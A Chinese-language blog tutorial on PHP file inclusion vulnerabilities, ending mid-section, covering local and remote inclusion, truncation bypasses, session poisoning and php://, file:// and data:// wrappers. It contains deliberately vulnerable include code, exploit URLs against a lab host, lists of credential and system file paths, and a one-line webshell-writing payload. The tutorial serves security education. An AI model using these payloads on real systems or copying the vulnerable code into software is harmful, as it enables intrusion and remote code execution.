文件包含漏洞

最新推荐文章于 2023-09-14 15:27:53 发布

北境L

最新推荐文章于 2023-09-14 15:27:53 发布

阅读量274

点赞数

参考文档：https://www.freebuf.com/articles/web/182280.html
0x01简介
服务器执行PHP文件时，可以通过文件包含函数加载另一个文件中的PHP代码，并且当PHP来执行，这会为开发者节省大量的时间。这以诶这你可以创建供所有网页引用的标准页眉或者带单文件。当页眉需要更新时，你只更新一个包含文件就可以了，或者当你想网站添加一张新页面时，仅仅需要修改一下菜单文件，而不是更新所有网页中的链接。
文件包含函数
PHP中文件包含函数有一下四种：
require();
require_once();
include();
include_once();
include和require主要区别是，include在包含的过程中如果出现错误，会抛出一个警告，程序继续整除运行；而require函数出现错误的时候，会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数，与前两个的不同之处在于这两个函数只包含一次，适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下，你想确保它只被包括一次以避免函数重定义，变量重新赋值等问题。
漏洞产生原因
文件包含函数加载的参数没有经过过滤或者严格的定义，可以被用户控制，包含其他恶意文件，导致了执行了非预期的代码。
ex：

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

例如：
$_GET['filename']参数开发者没有经过严格的过滤，直接带入了include的函数，攻击者可以修改 $_GET['filename']的值，执行非预期的操作。

0x02本地文件包含漏洞
#无限制本地文件包含漏洞
测试代码：

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

测试结果：
通过目录遍历就可以获取到系统中的其他文件内容。
常见的敏感信息路径：
Windows系统：

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix系统：

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

#session文件包含漏洞
利用条件：session的存储位置可以获取。
1.通过phpinfo的信息可以获取到session的存储位置。
获取到session.save_path为/var/lib/php/session

2.通过猜测默认的session存放位置进行尝试。
如linux下默认存储在/var/lib/php/session目录下
session中的内容可以被控制，传入恶意代码。
例如：

<?php

session_start();

$ctfs=$_GET['ctfs'];

$_SESSION["username"]=$ctfs;

?>

分析：此php会将获取到的GET的ctfs变量的值存入到session中。当访问xxx.php?ctfs=ctfs后，会在/var/lib/php/session目录下存储session的值。session的文件名为sess_sessionid,sessionid可以通过开发者模式获取。
在这里插入图片描述
所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。
到服务器的/var/lib/php/session目录下查看：

username|s:4:"ctfs";

[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6

username|s:4:"ctfs"

漏洞利用
通过上面的分析，可以知道ctfs传入的值会存储到session文件中，如果存在本地文件包含漏洞，就可以通过ctfs写入恶意代码到session文件中，然后通过文件包含漏洞执行此恶意代码getshell。
当访问xxx.php?ctfs=<?php phpinfo();?>后，会在/var/lib/php/session目录下存储session的值

[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a

username|s:18:"<?php phpinfo();?>";

攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置，文件名称通过开发者模式可获取到，然后通过文件包含的漏洞解析恶意代码getshell。
在这里插入图片描述
#有限制本地文件包含漏洞绕过
%00截断
条件：magic_quotes_gpc=off 且PHP版本< 5.3.4
测试代码：

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

测试结果：http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00
在这里插入图片描述
路径长度截断
条件：Windows os，点号需要长于256；Linux os长于4096
Windows下目录最大长度为256字节，超出的部分会被丢弃；

Linux下目录最大长度为4096字节，超出的部分会被丢弃。
测试代码：

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

EXP：

http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

在这里插入图片描述
点号截断
条件：Windows os，点号需要长于256
测试代码：

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

EXP:

http://www.ctfs-wiki.com/FI/FI.php
?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

在这里插入图片描述

0x03远程文件包含漏洞

PHP的配置文件allow_url_fopen和allow_url_include设置为ON，include/require等包含函数可以加载远程文件，如果远程文件没经过严格的过滤，导致了执行恶意文件的代码，这就是远程文件包含漏洞。
allow_url_fopen = On（是否允许打开远程文件）

allow_url_include = On（是否允许include/require远程文件）
#无限制远程文件包含漏洞
测试代码：

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

在这里插入图片描述
通过远程文件包含漏洞，包含php.txt可以解析

http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.133/FI/php.txt

测试结果：
在这里插入图片描述
#有限制远程文件包含漏洞绕过
测试代码：

<?php include($_GET['filename'] . ".html"); ?>

代码中添加了html后缀，导致远程包含的文件也会多一个html后缀。
在这里插入图片描述
问号绕过

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?

在这里插入图片描述
#号绕过

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23

在这里插入图片描述
空格绕过

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt

0x04PHP伪协议
PHP中代用很多内置的URL风格的封装协议，可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数。除了这些封装协议，还能通过stream_wrapper_register()来注册自定义的封装协议。
#目录
在这里插入图片描述

php://输入输出流
PHP提供了一些杂项输入/输出（IO）流，允许访问PHP的输入输出流、标准输入输出和错误描述符，内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

php://filter（本地磁盘文件进行读取）
元封装器，设计用于“数据流打开”时的“筛选过滤”应用，对本地磁盘文件进行读写。
用法：

?filename=php://filter/convert.base64-encode/resource=xxx.php ?filename=php://filter/read=convert.base64-encode/resource=xxx.php

条件：知识读取，需要开启allow_url_fopen，不需要开启allow_url_include；
在这里插入图片描述
测试代码：

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

在这里插入图片描述

php://input（读取post数据）
碰到file_get_contents()就要想到用php://input 绕过，因为PHP伪协议也是可以利用http协议的，即可以使用post方式传数据，具体函数意义：
测试代码：

<?php
    echo file_get_contents("php://input");
?>

测试结果：
在这里插入图片描述

php://input（写入木马）
测试代码：

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

条件：php配置文件中需同时开启allow_url_fopen和allow_url_include（PHP < 6.3.0），就可以造成任意文件代码执行，在这可以理解成远程文件包含漏洞（RFI），即post过去PHP代码，即可执行。
如果post的数据是执行写入一句话木马的PHP代码，就会在当前目录下写入一个木马。

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

在这里插入图片描述
测试结果：

如果不开启allow_url_include会报错：

php://input（命令执行）
测试代码：

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

条件：php配置文件中需同时开启 allow_url_fopen 和 allow_url_include（PHP < 5.30）,就可以造成任意代码执行，在这可以理解成远程文件包含漏洞（RFI），即POST过去PHP代码，即可执行；
在这里插入图片描述
如果不开启allow_url_include会报错：

file://伪协议（读取文件内容）
通过file协议可以访问本地文件系统，读取到文件的内容。
测试代码：

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

在这里插入图片描述

data://伪协议
数据流封装器，和php://相似都是利用了流的概念，将原本的include的文件流重定向到了用户可控制的输入流中，简单来说就是执行文件的包含方法包含了你的输入流，通过你输入payload来实现目的； data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4
data://（读取文件）
和php伪协议的input类似，碰到file_get_contents()来用； <?php // 打印 “I love PHP” echo file_get_contents(‘data://text/plain;base64,SSBsb3ZlIFBIUAo=’); ?>
注意：